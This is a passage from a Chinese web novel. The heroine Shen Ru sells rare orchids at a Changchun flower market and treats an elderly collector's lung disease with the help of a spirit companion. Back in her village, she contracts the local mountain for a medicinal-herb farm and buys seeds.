姚芳芳也在旁边，等这个男人走了之后更坚信自己的眼光不错。
“沈姑娘，你这花看着也不错啊，这是什么品种。”沈如刚要开口，就听见旁边一个震惊的男声，
“莲瓣兰？”他看起来非常惊喜，调子扬的高高的，一时间把周围人的目光吸引了过来，不一会，展台就围了一群人。
“我怎么看着像蝴蝶兰”
“刚刚有人就想这么捡漏，人家小姑娘都没正眼瞧。”
“嘿，这儿居然有莲瓣兰。”
“这花很罕见？”
21. 花王
“当然啦，我们这上次卖出的是一个硬叶兜兰，一万二。”
“那这莲瓣兰看着也没什么稀奇呀”
“一看就是外行，这花一般都是长在悬崖峭壁，不知道他们是怎么得到的，品相也好，便宜不了。”
“那不得是今天的花王了。”
“十有八九。”
“沈经理，我们这是两盆莲瓣兰。”
姚芳芳来之前做过功课，对于品相不懂，但是品种和生长状态她可是知道的。
“姑娘，左边这盆花一万二卖不卖？现金交易。”
“我出一万三。两盆两万打包。”一个戴墨镜的大哥走了过来。
“小如，这花我要了，“姚芳芳把沈如拉到一边，“这花我给你开到一万七，怎么样，良心价吧。”
“是不错。”周围的人还在竞价，目前最高出到一万五，如果能卖给姚芳芳，自然是最妥当的。
“不过，得现金交易，今天完成，咱们等会先签个协议，下午去取钱。”
“可以，可以。”
“不好意思各位，左边这盆是带来展览的，不出售，如果大家喜欢可以买右边这盆。”
等人群纷纷散去，二人也开始签署简易的买卖合同，姚芳芳走南闯北很多年，自认为眼光很绝，下午必定有更高价，她的隐蔽性和方便就是最大的优势。
果然，沈如没有再继续等下午的竞拍，毕竟一旦引起轰动，这年头杀人越货可不少见。
带着姚芳芳在二层转，看到的花都差点意思，她正准备带她去一楼看看，走到楼梯旁边的时候发现那边地上摆着一盆花，还有一个穿着皱巴巴西装的男人蹲在地上。
“王家安？”
“啊，是你啊。”
王家安从地上站了起来，理了理头发，“你们情况怎么样？”
“还在看呢，人挺多的，但是好价格也不太容易。”
“是啊，我这花明明挺好的，但是没人要，刚刚那人说三百一盆他收了，这不是欺负人吗？”
沈如看着花越看越眼熟，突然想到什么。
”这是不是跟你师爷家那盆一样的？”沈如问秦双
“我去，还真是，不过没我师爷养的好。”
“素冠荷鼎！”
“我家老爷子也叫他这个，说很稀罕，当年一个老领导送的，”王家安连忙点头。
姚芳芳起了心思，不过没动声色，继续听着。
“没错，你这花我估计全长春都没几盆，就是有点没精神。”
“那是不是可以卖很多钱，有一万吗？我老婆手术费得这么多”
“说实话，如果你想拍卖，应该会远高于这个数。”
王家安没想好，要是这里没人要，只能拿去拍卖了，只是他不想出风头，毕竟是偷他老丈人的。
姚芳芳给沈如一个肯定的眼神，沈如立马会意。
“给你介绍一下，这位是远洋贸易的姚经理，这次也是来采购兰花的，一般的她可看不上。”
“对，我信沈如的眼光，你这花错不了，只是有点蔫巴，我出一万五，你这花卖给我怎么样？”
“当然可以，天呐。”王家安没想到能有这个好消息，天知道他已经把心理价位估到三千了。
“实不相瞒，我的一盆花也是给了姚经理，实在是人多眼杂，拍卖太高调，万一被盯上就麻烦了。”
“是这个理，我还要坐火车回去呢。”
“行，那下午我们仨一块取钱，到时候我把钱给你们。”
“太好了，沈如，你真是我的福星。”王家安高兴的蹦了一下，旁边的店家看了他一眼，刚刚有人花三百来买差点打起来的就是这个摊子。
到了下午三点多，段野的面前来了一个拄着拐棍的老头，盯了花好久，开口道，
“我拿东西跟你换，要不要？”
段野刚想拒绝，就听沈如的声音，
“你拿什么换呢？我这花可不一般。”
看着面前这老头穿着一身中山装，眉宇间透露出一股肃杀的气势，估摸着以前当过兵，这才让沈如改变主意，
“这个怎么样？”只见他从口袋里掏出一个小盒子。
沈如打开一看惊呆了，
“犀角？!这么一块现代得千万了，还有价无市，发财了这是。”秦双的震惊声传来。
沈如赶忙盖上盒子，递回给老头，
“不好意思，我不换了，您这东西太贵重了。”
老头挥挥手，正准备说什么突然咳嗽了一下，紧接着就是咳到停不下来的声音，沈如赶紧上前替他抚抚背。
“哎呦，我的爷爷啊，您搁这儿干啥呢？快吃药。”
人群中冲出一个年轻人，手里拿着瓶药，赶紧倒出两粒，塞进老头嘴里，又不知道哪里端来的一杯水，赶紧让他喝下去。
咳嗽声终于止住，这一阵行云流水的操作把围着的人吓得够呛，
沈如看他像是哮喘，走到人群前开口。
“这位老爷子应该是哮喘，还请大家散开，不要拥堵，谢谢配合了。”
人流散开，摊子前终于安静下来，段野走上前去和那个年轻男人一起把老头扶到椅子上坐着。
“是你？”
沈如这才注意到原来是前几天骑自行车撞到他的年轻人。
“没想到又遇到了。”
“是啊，是啊，刚刚谢谢你啊，我家老爷子他就是爱花如命，听说这次有罕见的品相非要过来看看。”
“对了，这
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个给你。”沈如把刚刚接过来的盒子递给邓飞，他倒是也不推脱，收下了揣兜里，这不是他小气，这玩意这么小还是他大伯费了九牛二虎之力才从国外带回来的，要是被发现了指不定还有点小麻烦。
“小飞啊，我就喜欢这花，你问问这姑娘换不换。”
邓飞无奈道，”这是给你治病的，大伯知道了该不开心了，”
“医生都说我没救了，这药我要他要有什么用。”说吧又咳嗽起来，“小姑娘，你把花换给我吧，我那老伴最喜欢兰花了，以前就爱带我漫山遍野的找莲瓣兰，可巧，一次没找见过，这次终于见到了，我拿着它还能走的开心点。”
话已至此，沈如心情有些复杂，这药珍贵，这花她也来之不易，真要白送也有点心疼，不过姚芳芳那里已经赚够包山的钱，而且还剩一半，足够了。
“小双，你看看这老头还能不能治？要是咱们给他治个病，加上花换他这药，就不亏了。”
“成，我看看。”
秦双控制住了身体，冲几人笑了笑，
“那这样吧，这花我跟您换，我给您也把把脉，以前学过一点，要是能给些建议我也良心上过得去。”
“行啊，来试试吧。”邓满堂看过很多医生了，首都他也去过，医生都说治不了，中医他也认识几个老朋友，倘若不是毫无希望，他怎么会把药直接换了花呢，不过没有直接回绝她，让她安个心也好。
邓飞看她真伸出手来把脉，眼睛都瞪大了。
“她还会这个？？”他戳戳旁边的段野，
“当然，而且超级厉害。”段野炫耀式的回道。
王国安从凳子上起身，把位置给了沈如。众人盯着沈如的表情，尝试看出点什么。
“我靠，间质性肺炎”秦双心里对着沈如吐槽，
“怎么说？”
“这是一种以肺间质炎症和纤维化为主要表现的异质性疾病，病因不好判定，哪怕二十年后治疗都很棘手。”
“那能治吗？”沈如不禁皱起了眉头，她对着老头印象不错。
“要想十天半个月治好基本没戏i，除非有仙丹。不过要是持续治上几年，那几本可以控制住不恶化。”
“老先生，实不相瞒，您这边病确实无法根治。”邓满堂只是愣了一下，就笑笑，没关系。
倒是旁边剩下几个围观的人，发出一些叹息，还夹杂着一声嘲笑。
沈如抬头望过去，是一个胖子，正拿那个小眼睛眯着看向自己，她认出来了，隔壁摊位那人，花没卖出去在这找茬呢。
“不能治显摆什么呀？范儿装的倒是挺高。”
沈卫狠狠的瞪着他，段野已经考虑等会散场要不要套个麻袋了。
“谁说我不能治？”
22. 沈家闺女要包山了？
沈如这话一出，周围顿时又安静了。
只听一声惊叫。
“你真能治？”邓飞直接冲出去握住秦双的手，眼睛瞪得老大，
秦双点点头，示意他松开手，“手劲真大，”
邓飞似乎是愣神，段野赶紧走上前拉开他的手，
王国安示意大家散了，别在这堆着耽误事儿。
“老爷子，您先坐下，您这病能治，不过周期很长且无法完全拔除，但是想让您身体恢复八分还是可以的。”
邓满堂一时有些哑然，他已经准备好了随时离开，去见那些老战友和爱人，但是这会居然有人告诉他还有救。
谁不想活着呢？
于是，邓飞最终付六千元买下了花，犀牛角被邓满堂送给沈如做报酬。
走出门后邓满堂的吉普上走下来一个人，看着雷厉风行的，冲几人点头示意，
”麻烦您先送我们去一趟银行。”
“行，小张，咱们去中山路。”
车上暂时坐不下8个人，于是段野王国安沈卫暂时留下，等取完钱就回来借他们。
“王哥，拿着钱赶紧回家吧，路上注意安全，”
“好，放心吧，这次真的太感谢了。要是你们不在，恐怕这次回去就要让大家失望了，”王家安走上前抱住沈如，带着哭腔说道。
“好了，回去吧，嫂子在家等着呢。路上千万注意安全！鸡蛋不要放在一个篮子里。”
“好，我都听你的。”
几人等待时并没有注意到街角有两个人正激烈的吵着，
“大哥，这一看就是肥羊！为什么不去。”
“你知道什么，看见那个男人没，我以前跟部队打过交道，你以为他腰上挂着的是什么，还有那辆吉普，你是不是傻，想死我可不会陪着你。”说完大胡子就转身走人了，
对面那个刀疤男也狠狠的瞪了几人，转身跟上大胡子离开了。
张晋看到两人识趣离开也把手从腰上放下，将王家安送到宾馆就接上段野等人回到家里。
石榴苑188号，沈如记得这个名字，当初邓飞就邀请过，没想到兜兜转转还真来了。
这里是一片四合院，几人跟着走进最大的那个院子，门口挂着两个大灯笼。
“哎呀，可算是回来了。”一个富态的中年女性走出来，面上露出担心的神色。
“我没事，娜娜，这是我买花认识的几位小友，这次来是给我治病的。快把我的茶拿出来。”
“快请进，”虽然不知道几人如何能从卖花发展到治病，但是老爷子发话了，她当然要好好准备了。
几人跟着胖阿姨走到客厅，已经有人端着茶过来了，
沈卫帮邓飞把花抱下车，放到院子里。
沈如没有再废话，开门见山的问老爷子家里有没有银针，他这病需要长疗程的吃药以及每一个月一次的针灸，这次他在可以给老爷子完成一次。
“有的，有的，之前刘大夫放了药箱在家里，里面是有银针的，我这就去拿。”
“听口音，你们是北方人？”
“我们来自隔壁山阳省千里县，我叫沈如，这是我舅舅王国安，我弟弟沈卫和我未婚夫段野。”
“你们这次来就是卖花的？”
“对，听说长春的花市很有市场，就来把我们的兰花卖掉，这次也算是完成任务了。”
“这不是有个额外任务哈哈哈，不麻烦吧？”
“不麻烦，也算是不虚此行了。”
“是啊是啊，我们真有缘分，上次我们就碰上，我还邀请你来，没想到你真来了。嘿嘿”
邓飞一副哥俩好的样子，隐约还有点害羞。
段野若无其事的走上前半步，冲邓飞微笑，对方只能讪讪摸了鼻子。
“姐，这次太顺了，多亏有你！”沈卫坐在车后座，情不自禁的大声说道。
“低调点弟弟。”
“嘿嘿”沈卫想到回去就能娶老婆就开心。
段野看着沈如，想想回去就结婚也开心。
就是邓飞这家伙太离谱了，1说好的不再见了呢！
沈如看他脸色变换来去，也偷偷笑了起来。
给邓满堂治过之后，效果很明显，就想立刻跟着一起来小望村治病养老，顺便回到乡村种种菜，还好胖阿姨劝住他了，只说让人先去打头阵，等建的差不多了再去，不然给人家添麻烦。
于是邓飞就成了排头兵，坐上舅舅王国安的大车，一屁股坐到后车厢就不愿意下来了。
那辆自行车也被他打包过来了。
时隔八天，几人终于回到了小望村。
“书记，我们回来了。”几人回到小望村第一件事就是来到书记家里，
“哎呦，这一路上没事吧。”
“有点小麻烦，不过我们人多问题不大，支书，钱到位了，您看什么时间可以签合同了。”
“包山是大事，这山算是公共财产，虽然所有权是国家的，但是按理说大家伙都有权利参与，所以明天咱召开个包山大会，这包山的钱留两千在村里，到时候交给县里，剩下的六千分给村民。”
“成啊，那麻烦您通知大家伙了，对了，书记，给您带了个东西。”
沈如从段野背着的包里掏出一顶帽子，毛茸茸的，还有几张明信片，这是她们在国营商店买的。
“之前多亏书记您照顾段野，也帮我操持包山这事儿，给您带了顶帽子还有明信片，以后有机会咱一起去省城。”
牛远方没想到几人出去还想着自己，一时有点无措，
“欸，这帽子真漂亮，毛真好啊，跟那灰兔子一样，肯定暖和，不过城里东西贵，你们拿回去，有那么念着我我就开心，一把年纪了还能帮你们这些年轻人，我也开心。”他接过来帽子，长满茧子的手摸了摸，又递回去。
“书记，您可别跟我们客气，咱们这冬天冷，您带上也防寒，以后山上少不得还得麻烦您嘞。还有这明信片，您跟家里人看看，以后咱们发展好了，还能一起去省城是不是。东西不贵，就是个祝福。”
“成，那老汉也不跟你客气，以等会我就挨家挨户的通知，明天上午十点钟咱们晒谷场见。”
“得嘞，那我们就回去了。”
“爸，妈，我回来啦！”沈卫像个快乐的猪崽推开门就直奔家里，沈如和段野王国安则带着邓飞去看小五，顺便安顿下来。
“哥，小如姐，你们终于回来了。”
“乖不乖啊，最近
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。”沈如摸了摸他脑袋，拉着他转了一圈，穿的干干净净，白白肉肉的，这次王芸没掉链子。
“我有乖乖的，你们终于回来了。”段吾扑过去抱住沈如的腿，眼泪再也忍不住。
“来，哥哥抱抱这不是回来了，我们小五等着可不得快马加鞭地回来。”
“哥哥坏，下次要带上我。”段吾把眼泪擦了擦，拿拳头锤了捶段野的腿。
“遵命，保证完成任务。”
段吾被逗乐了，旁边大黄一家也围着众人汪汪叫。
倒是邓飞看到几只狗直接飞扑过去，左手抱住小黑，右手抱起小白，
“天呐，我也是有狗的人了！”
大黄见状急得团团转，它看得出来这人是跟主人一起回来的，但是怎么还偷狗的？
“汪、汪”大黄叫着。
众人都被邓飞逗笑了，段吾眨着眼睛笑得亮晶晶。
“快来吧，家里饭做上了。”王芸推开门大声招呼道，神情有些不自然的看着沈如，似乎是有些愧疚。
沈如看了她一眼，没再纠结，
”大家来吃饭吧，赶一路了，舅舅，咱们走吧。“
“走咯，小狗跟我去吃饭哈哈哈。”
“哥哥，你把小白放下，他怕高。”段吾抱住邓飞的小腿说道。
“还能这样？”一看，果然小白一直哼哼唧唧的，扭个头，小黑倒是很自在，兴奋的汪汪叫，连忙把小白放下来，
小白一落地就冲着邓飞哼哼唧唧叫起来，跟着段吾后面当个小尾巴跑着。
“行，咱们去吃饭，这一路赶得。”
沈卫正从厨房里端菜，看见众人过来，招呼道，
“大家快来，我妈做的小鸡炖蘑菇，贼香，邓飞，你可有口服了。”
“是吗？”邓飞一脸兴奋的跃跃欲试，走到院子的桌椅前，没有立刻坐下，到别人家做客他还是知道点规矩的。
等王国安入座了，他也被沈如带到旁边坐下来。
简单冲王芸沈强做了介绍，没再多说其他的，看着桌上的酸笋炒肉末、红烧茄子、糖醋鱼、红烧肉、辣椒婆婆丁、小鸡炖蘑菇、土豆丝，连沈如都忍不住咽了咽口水，回来路上带的现金太多以防万一，几人都是吃干粮的。
“快坐下，别忙活了，咱一起吃。”王国安拿起筷子叫王芸也坐下，他对自己这个妹妹有点恨铁不成钢，一辈子没个主见，本来还以为沈卫多混，现在看来，一家子没主见的，不知道以前怎么能闹成那样，以后他给沈如撑腰，她就是一家之主了。
“好，好。”王芸把手在腰间的围裙擦了擦，在沈如身边坐下了。
“我听沈卫说，你们是去长春了？”王芸忍不住打开了话匣子，她看到沈卫给他看的那几百块钱，人都惊住了，沈卫好一通解释才接受了自家孩子没有出去打家劫舍。
沈如头都不抬，正在跟一块鸡肉做斗争，
“是的，我们去那边卖花。”一块肌肉下肚，她才抬起头。
“对了，我跟你们说个事，这一次回来也是要把咱村这个山给包下来，以后我就在这整一个药材基地。”
“种田没问题，我和你爸种一辈子了，就是这药材是怎么回事啊？”王芸震惊的筷子都差点掉下来，
23. 买苗
“就是药材，咱们这地儿合适，对了，这个是邓飞，两个月后他爷爷会在村里疗养，可能最近还得给他们找个房子。”
“啊行，行。”这会沈强也懵了，不过他看得懂场面，知道这会不适合多问也就拉着王芸坐下了。
“这鸡肉真香，笋也新鲜，来对了，也太好吃了！”邓飞顾不上家里教的那些个礼仪，端起碗就是吃，城里的食材还是比不上村里。
这会儿子的婚事有着落了，女儿也振作起来，王芸也想开了，以后对闺女好点，要弥补自己的过错。
女儿的朋友也要好好处，于是又给邓飞盛了满满一碗饭，菜夹的冒尖。
第二天一大早沈如就跟段野一起到了晒谷场，邓飞昨天晚上缠着沈如非要一起，于是大清早的就迷迷瞪瞪的骑着自行车一起来了，沈卫也在后面小跑着，他的减肥事业还在继续。
过了十分钟，牛书记也到了，手里拿这个张纸，嘴上那根烟终于点着了。
“来这么早，快快快，这是咱们包山的一些要求，”
“不允许私自开采买卖、包山需经过投票，一致同意后才行，不得种植违禁植物，每年有专人进行检查，一旦不合规将收回土地，不退回包山费用。”
沈如读出来，“倒是问题不大，”
“大家伙都在呢”，正说着万秋山打着哈欠来了，之前他就想包山，太贵就放弃了，没想到昨天书记通知有人包山，他必须第一个过来看看。
“是啊，秋山叔，”沈如第一个打招呼，她对这人有点印象，之前给村里家家户户送过毛巾，是个好人。
“跟叔想一块去了，”说着他双手插进袖里，“可惜太贵了，不然你叔我早给他拿下了。”
“是啊，咱们村这地种庄稼真好，山里也有不少果子，动物的，小如啊，叔有个不情之请，”牛远方有些欲言又止，
“说吧，叔，有啥事？”沈如没有直接答应，
“就是以后要是山里用人干活，能不能从村里出，你知道的，咱们庄稼地人地里刨食，干活都是一把好手，也给大家多条生计。”似乎是不好意思，牛书记面上的笑有点不好意思，
“成啊，叔，不过话说前天，我这山上以后种的种类多，难度也大，真干不了的我也不能留他，要是需要入手我肯定第一个希望咱村里出，肥水不流外人田嘛”
“那就好，那就好。”
村人陆陆续续来了，听说有钱拿，面上也都乐呵呵的，穿着棉衣，领着自己娃娃，不一会，晒谷场上已经站满了人，有些小孩还爬到了草垛上，叽叽喳喳的好不热闹。
牛书记走上前，站到磨碾，示意大家安静。
“大家静一下啊，今天召集大家过来是为了包山的事儿，沈强家闺女沈昭昭要和段野一起，把咱村这座山包下来，当然，包山肯定是要给钱的，咱们村一共一百二十户，按户每家可以分五十二块钱，而且以后倘若山上有入手需要，也会第一时间在村子里找，大家觉得怎么样？”
“同意啊，钱什么时候发？”村东头的王力大声问道，
“钱等我跟县里对完第二天就发，很快，大家别着急。”
“我们家人多，岂不是亏了？”一个婶子放下手里的瓜子，
“这个是县里的规定，而且这钱是白来的，山在那放着也是放着，每年五十二块钱可是实打实的，一家子也够吃上几个月了。”
“这倒是，”王婶嘴一撇，吐出个瓜子壳，算了一下自己也没吃亏，冲着沈如笑道。
“闺女以后有活找我啊，我干活可是一把好手呢。”
“其他人还有问题吗？”
“我有个问题，”段野的三叔举起了手，
“之前咱们不是可以去山上捡菇子，摘果子，现在还能去吗？”
牛远方倒是没想到这茬，看向沈如，
“段叔，这山我是花大价钱包的，山上的东西肯定是不能给大家伙自由拔了，不然咱也不能喝西北风啊，”说道这里，沈如转头冲着众人笑道，
“不过大家都是一个村的，山上要是有什么菇子果子熟了，到时候跟我说一声，咱一起去摘，不过可别偷偷上山啊，我家大黄可是很厉害的。”
“汪，汪。”最近跟着沈如段野，大黄肉眼可见的更威风了，
“那是自然，自然。”
“行，大家要是没问题就散会吧，自家地里还有活呢。”
邓飞不知道从哪儿拿的一把红果，在嘴里嚼着，看众人散了，也从草垛上跳下来，
“这就算完事啦？”
“对啊，书记，需要我跟您一起去县里吗？”
“要的，咱们一起去把手续办了，以后这山使用权就归你们了。”
“行，那咱明天一起，顺便去买种子和苗。”
“沈如，我是不是该办正事儿了，给我整个屋子呗。”邓飞正把最后一颗果子放进嘴里，含糊恶说道，说实话最近在这边生活，还挺惬意的，马上老爷子要来了，他得出点力。
“老爷子住的地方要离村头近一点，这样万一有个什么情况车来去的也方便，等我问问书记。”
“牛书记，咱村有什么空屋子吗？”
“这个还真没有，你知道的，这年头只有房子不够住的，还真没有多出来的。”
”那要不我出钱，咱盖一个带院子的，”
沈如看着邓飞，点头，”也不是不行。”
“书记，外地人可以在咱村盖房子吗？”
“按理说是不行，但是这年头宅基地分的也不那么清楚，你们去村头找一块空地就盖上了，到时候问起来就说是你们家的。”
“成！”沈如点头，看向段野。
“要不你这两天帮他看看怎么盖起来？”
“行，不过明天我要跟你一起去县里，万一东西很重。”
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“我也去我也去，”邓飞笑嘻嘻的探头过来，
“哪儿都有你。”段野把他头推到一边。
第二天，沈如段野牛书记和王国安开着卡车就来了县里，等沈如把手续办完刚好十点多。
“书记，县里有卖药材种子和苗的吗？”
“就前面路口就有一个种子店，咱县里最大的了，先去那儿看看吧。”
“成。”
沈如迈进店里，店面不大，右手边个柜台一个小哥正拿着纸不知道算什么，见几人来了也只是淡淡招呼了一声，
“你好，店里，有药材种子或者苗吗？”
“有一些，您来这边，”，小哥把纸压在柜台玻璃下，走到后面，原来有一个院子，院子里正晒着些种子，
“黄芪、桔梗、苍术、五味子、刺五加、防风、白鲜皮”，目前店里只有这些药材种子，昨天刚到货，老板让拿出来晒晒，都是上好的种，这会您要是种下去估计半个月就出芽了。”
沈如走上前去，把手伸进种子里都摸了摸，颗粒饱满、色泽光亮，是不错的质量。
“行啊，黄芪种子较小，每亩播种量一般在2千克左右，预计12kg，桔梗每亩用种量约1.2千克，大约需要购买7千克种子，苍术每亩用种量在3千克左右，大概需要购买18千克，五味子每亩用种量约4千克，大约需要24千克种子，刺五加每亩用种量在10千克左右，大概需要60千克，防风每亩用种量约2千克，大约需要12千克种子，对了，店里有苗吗？”
“不好意思，咱店里只有种子，苗的话可能得专门的养殖基地会有，老板您真是行家啊，这用种量算的真清楚，”说着冲沈如伸出了大拇指。
这时有一个穿着衬衣的男人走了进来，
“老板，”那小哥上前打了个招呼，又凑上去说了几句，那老板看着沈如不知道在想什么，
“几位是想种药材？”
“是啊，不然也不来您店里了。”沈如接了一句，没有多说，
“咱们县里种药的人可少，不知道几位这药材销路有没有找到？”
“还没，不过药材还没种出来，不着急，”
那老板点了点头，从兜里掏出个名片，”我是柳青，这家店的老板，以后您山上要是种出来了可以来找我，如果质量好我可以收。”
沈如接过名片，还是有点疑惑，
“成啊，这儿的土地种出来的药材保准不让您失望，”话虽然这么说，但是沈如也并没有太放在心上。
等段野他们接过种子离开，收银小哥才跑到老板面前，
“老板，这几人面生，估摸着第一次种，您这么有信心？“
“呵，这小姑娘看着还有点了解，至于结果谁知道呢？再说，那刘家不是想坐地起价吗？现在县里不只有他一家种药材，甭管谁种的，有竞争才有活力不是吗？”说着笑笑走开了。